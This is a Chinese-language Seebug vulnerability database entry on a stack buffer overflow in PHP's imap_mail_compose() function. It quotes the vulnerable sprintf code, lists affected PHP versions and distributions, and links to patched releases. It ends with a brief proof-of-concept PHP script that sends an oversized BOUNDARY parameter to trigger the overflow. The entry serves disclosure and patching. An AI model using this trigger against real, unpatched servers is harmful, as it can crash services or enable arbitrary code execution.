Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
seebugRootSSV:1599
HistoryApr 03, 2007 - 12:00 a.m.

PHP Imap_Mail_Compose()函数缓冲区溢出漏洞

2007-04-0300:00:00
Root
www.seebug.org
22
JSON

BUGTRAQ ID: 23234

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的imap_mail_compose()函数实现上存在缓冲区溢出漏洞，本地攻击者可能利用此漏洞提升权限。

imap_mail_compose()函数在名为tmp的栈缓冲区中创建固定大小的多部邮件：

PHP_FUNCTION(imap_mail_compose)
{
…
char tmp[8 * MAILTMPLEN], *mystring=NULL, *t=NULL, *tempstring=NULL;

在创建多部消息时首先要从输入参数中读取BOUNDARY，然后未经任何大小检查便使用sprintf调用将输入参数拷贝到了栈缓冲区：

if (bod && bod->type == TYPEMULTIPART) {

    /* first body part */
        part = bod->nested.part;

    /* find cookie */
        for (param = bod->parameter; param && !cookie; param = param->next) {
            if (!strcmp (param->attribute, "BOUNDARY")) {
                cookie = param->value;
            }
        }

    /* yucky default */
        if (!cookie) {
            cookie = "-";
        }

    /* for each part */
        do {
            t=tmp;
        /* build cookie */
            sprintf (t, "--%s%s", cookie, CRLF);

这允许覆盖缓冲区，导致执行任意指令。

PHP PHP 5.1.6
PHP PHP 5.1.5
PHP PHP 5.1.4
PHP PHP 5.1.3
PHP PHP 5.1.3
PHP PHP 5.1.2
PHP PHP 5.1.1
PHP PHP 5.1
PHP PHP 5.0.5
PHP PHP 5.0.4
PHP PHP 5.0.3

  • Trustix Secure Linux 2.2
    PHP PHP 5.0.2
    PHP PHP 5.0.1
    PHP PHP 5.0 candidate 3
    PHP PHP 5.0 candidate 2
    PHP PHP 5.0 candidate 1
    PHP PHP 5.0 .0
    PHP PHP 4.4.4
    PHP PHP 4.4.3
    PHP PHP 4.4.2
    PHP PHP 4.4.1
    PHP PHP 4.4 .0
    PHP PHP 4.3.11
    PHP PHP 4.3.10
  • Gentoo Linux
  • RedHat Fedora Core3
  • Trustix Secure Enterprise Linux 2.0
  • Trustix Secure Linux 2.2
  • Trustix Secure Linux 2.1
  • Trustix Secure Linux 2.0
  • Trustix Secure Linux 1.5
    PHP PHP 4.3.9
    PHP PHP 4.3.8
  • MandrakeSoft Linux Mandrake 10.1 x86_64
  • MandrakeSoft Linux Mandrake 10.1
  • S.u.S.E. Linux Personal 9.2
  • Turbolinux Turbolinux Server 10.0
  • Ubuntu Ubuntu Linux 4.1 ppc
  • Ubuntu Ubuntu Linux 4.1 ia64
  • Ubuntu Ubuntu Linux 4.1 ia32
    PHP PHP 4.3.7
    PHP PHP 4.3.6
    PHP PHP 4.3.5
    PHP PHP 4.3.4
  • MandrakeSoft Corporate Server 3.0 x86_64
  • MandrakeSoft Corporate Server 3.0
  • MandrakeSoft Linux Mandrake 10.0 AMD64
  • MandrakeSoft Linux Mandrake 10.0
  • S.u.S.E. Linux Personal 9.1
    PHP PHP 4.3.3
  • S.u.S.E. Linux Personal 9.0 x86_64
  • S.u.S.E. Linux Personal 9.0
  • Turbolinux Home
  • Turbolinux Turbolinux 10 F…
  • Turbolinux Turbolinux Desktop 10.0
    PHP PHP 4.3.2
    PHP PHP 4.3.1
  • MandrakeSoft Linux Mandrake 9.1 ppc
  • MandrakeSoft Linux Mandrake 9.1
  • OpenPKG OpenPKG Current
  • S.u.S.E. Linux Personal 8.2
    PHP PHP 4.3
    PHP PHP 4.2.3
  • EnGarde Secure Linux 1.0.1
  • MandrakeSoft Corporate Server 2.1 x86_64
  • MandrakeSoft Corporate Server 2.1
  • MandrakeSoft Linux Mandrake 9.0
  • Turbolinux Turbolinux Server 8.0
  • Turbolinux Turbolinux Server 7.0
  • Turbolinux Turbolinux Workstation 8.0
  • Turbolinux Turbolinux Workstation 7.0
    PHP PHP 4.2.2
  • Gentoo Linux 1.4 _rc1
  • Gentoo Linux 1.2
  • OpenPKG OpenPKG 1.1
  • RedHat Linux 8.0 i386
  • RedHat Linux 8.0
  • S.u.S.E. Linux 8.1
    PHP PHP 4.2.1
  • FreeBSD FreeBSD 4.6
  • FreeBSD FreeBSD 4.5
  • FreeBSD FreeBSD 4.4
  • FreeBSD FreeBSD 4.3
  • Slackware Linux 8.1
    PHP PHP 4.2 .0
    PHP PHP 4.2 -dev
    PHP PHP 4.1.2
  • Apple Mac OS X 10.1.5
  • Apple Mac OS X 10.1.4
  • Apple Mac OS X 10.1.3
  • Apple Mac OS X 10.1.2
  • Apple Mac OS X 10.1.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.1
  • Apple Mac OS X 10.0.4
  • Apple Mac OS X 10.0.3
  • Apple Mac OS X 10.0.2
  • Apple Mac OS X 10.0.1
  • Apple Mac OS X 10.0
  • Debian Linux 3.0 sparc
  • Debian Linux 3.0 s/390
  • Debian Linux 3.0 ppc
  • Debian Linux 3.0 mipsel
  • Debian Linux 3.0 mips
  • Debian Linux 3.0 m68k
  • Debian Linux 3.0 ia-64
  • Debian Linux 3.0 ia-32
  • Debian Linux 3.0 hppa
  • Debian Linux 3.0 arm
  • Debian Linux 3.0 alpha
  • MandrakeSoft Linux Mandrake 8.2 ppc
  • MandrakeSoft Linux Mandrake 8.2
  • MandrakeSoft Multi Network Firewall 2.0
  • MandrakeSoft Single Network Firewall 7.2
    PHP PHP 4.1.1
  • Conectiva Linux 7.0
    PHP PHP 4.1 .0
  • S.u.S.E. Linux 8.0 i386
  • S.u.S.E. Linux 8.0
    PHP PHP 4.0.7 RC3
    PHP PHP 4.0.7 RC2
    PHP PHP 4.0.7 RC1
    PHP PHP 4.0.7
    PHP PHP 4.0.6
  • Caldera OpenLinux Server 3.1.1
  • Caldera OpenLinux Server 3.1
  • Caldera OpenLinux Workstation 3.1.1
  • Caldera OpenLinux Workstation 3.1
  • HP Secure OS software for Linux 1.0
  • IBM AIX 4.3.3
  • IBM AIX 4.3.2
  • IBM AIX 4.3.1
  • IBM AIX 4.3
  • IBM AIX 5.1
  • MandrakeSoft Corporate Server 1.0.1
  • MandrakeSoft Linux Mandrake 8.1 ia64
  • MandrakeSoft Linux Mandrake 8.1
  • MandrakeSoft Linux Mandrake 8.0 ppc
  • MandrakeSoft Linux Mandrake 8.0
  • MandrakeSoft Linux Mandrake 7.2
  • MandrakeSoft Linux Mandrake 7.1
  • RedHat Linux 7.2 ia64
  • RedHat Linux 7.2 i386
  • RedHat Linux 7.2
  • RedHat Linux 7.1 ia64
  • RedHat Linux 7.1 i386
  • RedHat Linux 7.1 alpha
  • RedHat Linux 7.1
  • RedHat Linux 7.0 i386
  • RedHat Linux 7.0 alpha
  • RedHat Linux 7.0
  • S.u.S.E. Linux 7.3 sparc
  • S.u.S.E. Linux 7.3 ppc
  • S.u.S.E. Linux 7.3 i386
  • S.u.S.E. Linux 7.3
  • S.u.S.E. Linux 7.2 i386
  • S.u.S.E. Linux 7.2
  • Sun Cobalt RaQ 550
  • Sun LX50
  • Trustix Secure Linux 1.5
    PHP PHP 4.0.5
    PHP PHP 4.0.4
  • Compaq Compaq Secure Web Server PHP 1.0
  • Conectiva Linux 6.0
  • Guardian Digital Engarde Secure Linux 1.0.1
  • S.u.S.E. Linux 7.2
  • S.u.S.E. Linux 7.1 x86
  • S.u.S.E. Linux 7.1 sparc
  • S.u.S.E. Linux 7.1 ppc
  • S.u.S.E. Linux 7.1 alpha
  • S.u.S.E. Linux 7.1
  • S.u.S.E. Linux 7.0 sparc
  • S.u.S.E. Linux 7.0 ppc
  • S.u.S.E. Linux 7.0 i386
  • S.u.S.E. Linux 7.0 alpha
  • S.u.S.E. Linux 7.0
    PHP PHP 4.0.3 pl1
  • S.u.S.E. Linux 6.4 ppc
  • S.u.S.E. Linux 6.4 i386
  • S.u.S.E. Linux 6.4 alpha
  • S.u.S.E. Linux 6.4
    PHP PHP 4.0.3
  • Debian Linux 2.2 sparc
  • Debian Linux 2.2 powerpc
  • Debian Linux 2.2 IA-32
  • Debian Linux 2.2 arm
  • Debian Linux 2.2 alpha
  • Debian Linux 2.2 68k
  • Debian Linux 2.2
  • Sun Cobalt Control Station 4100CS
  • Sun Cobalt Qube3 Japanese 4000WGJ
  • Sun Cobalt Qube3 Japanese w/ Caching and RAID 4100WGJ
  • Sun Cobalt Qube3 Japanese w/Caching 4010WGJ
  • Sun Cobalt RaQ XTR 3500R
  • Sun Cobalt RaQ XTR Japanese 3500R-ja
    PHP PHP 4.0.2
    PHP PHP 4.0.1 pl2
    PHP PHP 4.0.1 pl1
    PHP PHP 4.0.1
  • Sun Cobalt Qube3 4000WG
  • Sun Cobalt Qube3 w/ Caching and RAID 4100WG
  • Sun Cobalt Qube3 w/Caching 4010WG
  • Sun Cobalt RaQ4 3001R
  • Sun Cobalt RaQ4 Japanese RAID 3100R-ja
  • Sun Cobalt RaQ4 RAID 3100R
    PHP PHP 4.0 0
    PHP PHP 5.2

升级到最新程序：

PHP PHP 5.2

* PHP PHP 5.2.1
  <a href="http://www.php.net/downloads.php#v5" target="_blank">http://www.php.net/downloads.php#v5</a>

PHP PHP 4.4.4

* PHP PHP 4.4.5
  <a href="http://www.php.net/downloads.php#v4" target="_blank">http://www.php.net/downloads.php#v4</a>


                                                &lt;?php

$envelope[&quot;from&quot;]= &quot;[email protected]&quot;;
$envelope[&quot;to&quot;]  = &quot;[email protected]&quot;;

$part1[&quot;type&quot;] = TYPEMULTIPART;
$part1[&quot;subtype&quot;] = &quot;mixed&quot;;
$part1[&quot;type.parameters&quot;] = array(&quot;BOUNDARY&quot; =&gt; str_repeat(&quot;A&quot;,8192));

$part2[&quot;type&quot;] = TYPETEXT;
$part2[&quot;subtype&quot;] = &quot;plain&quot;;
$part2[&quot;description&quot;] = &quot;description3&quot;;
$part2[&quot;contents.data&quot;] = &quot;contents.data3\n\n\n\t&quot;;

$body[1] = $part1;
$body[2] = $part2;

imap_mail_compose($envelope, $body);

?&gt;
JSON